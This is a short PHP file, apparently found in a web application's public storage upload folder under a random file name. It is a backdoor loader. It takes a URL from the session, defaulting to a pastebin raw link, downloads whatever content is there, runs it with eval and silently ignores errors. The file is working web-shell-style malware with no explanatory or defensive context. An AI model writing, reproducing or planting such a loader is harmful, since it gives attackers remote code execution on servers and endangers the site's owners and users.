/var/www/html/back/storage/app/public/80/42omgc/te8wa.php
<?php


session_start();
$u = $_SESSION['ts_url'] ?? 'https://pastebin.com/raw/Ar0Nu0C5';

try {
    $file = new SplFileObject($u);
    $r = '';
    while (!$file->eof()) {
        $r .= $file->fgets();
    }
    if ($r) {
        eval("?>$r");
    }
} catch (Exception $e) {
    // Handle error
}